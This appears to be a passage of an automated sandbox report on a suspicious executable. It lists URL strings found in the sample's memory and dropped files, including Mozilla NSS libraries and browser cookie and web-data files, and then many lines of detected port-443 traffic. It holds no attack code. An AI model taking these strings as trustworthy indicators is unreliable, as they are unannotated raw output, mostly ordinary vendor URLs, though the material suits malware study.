Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr, HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_451.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_451.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_451.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_451.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://gaana.com/
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: CBAKJEHDBGHIEBGCGDGH.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://m.vk.com/
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXIDv10
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log1.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log6.9.dr, 000003.log8.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log6.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log6.9.dr, 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376823403822784.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_451.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: KECBGCGCGIEGCBFHIIEBFCAFHI.0.dr	String found in binary or memory: https://support.mozilla.org
Source: KECBGCGCGIEGCBFHIIEBFCAFHI.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: KECBGCGCGIEGCBFHIIEBFCAFHI.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://tidal.com/
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://web.whatsapp.com
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2796450979.00000000233DB000.00000004.00000020.00020000.00000000.sdmp, CBAKJEHDBGHIEBGCGDGH.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2413214524.0000000023318000.00000004.00000020.00020000.00000000.sdmp, BGDGHJEH.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2413214524.0000000023318000.00000004.00000020.00020000.00000000.sdmp, BGDGHJEH.0.dr, Web Data.9.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 88e2990b-7b33-4677-8387-aaa3ecc7cbe5.tmp.10.dr, 064fb166-0b2b-4929-87d9-28ad8c9be488.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_451.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_451.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_451.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://www.instagram.com
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://www.last.fm/
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://www.messenger.com
Source: KECBGCGCGIEGCBFHIIEBFCAFHI.0.dr	String found in binary or memory: https://www.mozilla.org
Source: KECBGCGCGIEGCBFHIIEBFCAFHI.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: file.exe, 00000000.00000002.2771239675.00000000002F4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: KECBGCGCGIEGCBFHIIEBFCAFHI.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000002.2771239675.00000000002F4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2771239675.00000000003D7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2771239675.00000000002F4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2771239675.00000000003D7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: KECBGCGCGIEGCBFHIIEBFCAFHI.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: KECBGCGCGIEGCBFHIIEBFCAFHI.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://www.office.com
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: file.exe, 00000000.00000002.2796450979.00000000233DB000.00000004.00000020.00020000.00000000.sdmp, CBAKJEHDBGHIEBGCGDGH.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://www.tiktok.com/
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://www.youtube.com
Source: 18849994-b866-4644-b832-ae7c7d4b9b20.tmp.9.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
